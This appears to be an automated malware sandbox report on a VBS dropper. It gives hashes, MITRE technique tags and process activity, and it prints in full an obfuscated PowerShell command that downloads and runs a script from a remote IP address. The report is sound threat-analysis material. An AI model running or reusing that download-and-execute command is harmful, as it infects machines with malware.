acec28de93d3ea0afc8d7101cadc56f07ef03492d1b398769c2d20e358b3b846

Analysis

max time kernel
120s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
19-03-2024 20:57

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General

Target

0x.vbs
Size

62KB
MD5

34d6b90b676cf2fe59153c0c01b59278
SHA1

396c2789cf583c24b047976dc91584aa703c067a
SHA256

acec28de93d3ea0afc8d7101cadc56f07ef03492d1b398769c2d20e358b3b846
SHA512

f20cfcd266b691c70f530b92244dd80eddbd5a5c19d1c08bd6b330ff15217e8fef5ca221adabdc75fc2ac1cb4aae8e729073fe85e13c43a89f5cb56c0310af2f
SSDEEP

1536:y9V9A9J9v9/9U9U9v9U9v9A9m9v9/9U9U9v9U9v:F

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://193.233.132.136/a/a.png

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

2 2892 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2892 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2892 powershell.exe

flow	pid	process
2	2892	powershell.exe

pid	process
2892	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2892	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1756 wrote to memory of 2892	1756	WScript.exe	powershell.exe
PID 1756 wrote to memory of 2892	1756	WScript.exe	powershell.exe
PID 1756 wrote to memory of 2892	1756	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0x.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1756

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://193.233.132.136/a/a.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2892

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2892-4-0x000000001B2A0000-0x000000001B582000-memory.dmp

Filesize
2.9MB

Download
memory/2892-5-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/2892-7-0x00000000028B0000-0x0000000002930000-memory.dmp

Filesize
512KB

Download
memory/2892-8-0x00000000028B0000-0x0000000002930000-memory.dmp

Filesize
512KB

Download
memory/2892-9-0x00000000028B0000-0x0000000002930000-memory.dmp

Filesize
512KB

Download
memory/2892-6-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/2892-10-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/2892-11-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/2892-12-0x00000000028B0000-0x0000000002930000-memory.dmp

Filesize
512KB

Download
memory/2892-13-0x00000000028B0000-0x0000000002930000-memory.dmp

Filesize
512KB

Download
memory/2892-14-0x00000000028B0000-0x0000000002930000-memory.dmp

Filesize
512KB

Download
memory/2892-15-0x00000000028B0000-0x0000000002930000-memory.dmp

Filesize
512KB

Download
memory/2892-17-0x0000000002940000-0x0000000002952000-memory.dmp

Filesize
72KB

Download
memory/2892-18-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download